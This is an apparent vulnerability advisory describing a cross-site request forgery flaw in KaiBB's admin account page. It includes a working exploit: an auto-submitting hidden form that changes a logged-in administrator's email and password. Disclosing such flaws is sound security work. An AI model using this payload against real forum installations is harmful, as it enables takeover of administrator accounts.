Cross-site Request Forgery (CSRF) in KaiBB

High-Tech Bridge SA Security Research Lab has discovered vulnerability in KaiBB which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in KaiBB
The vulnerability exists due to insufficient validation of the request origin in admin/core/account.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/admin/?area=users&s=account&a=USERID" method="post">
<input type="hidden" name="regemail" value="email@example.com">
<input type="hidden" name="regpass" value="">
<input type="hidden" name="regname" value="test">
<input type="hidden" name="justip" value="0">
<input type="hidden" name="reglevel" value="2">
<input type="hidden" name="rankselect" value="1">
<input type="hidden" name="sfrozen" value="0">
<input type="hidden" name="notes" value="">
<input type="hidden" name="signature" value="">
<input type="submit" id="btn" name="Submit" value="Update">
</form>
<script>
document.getElementById('btn').click();

</script>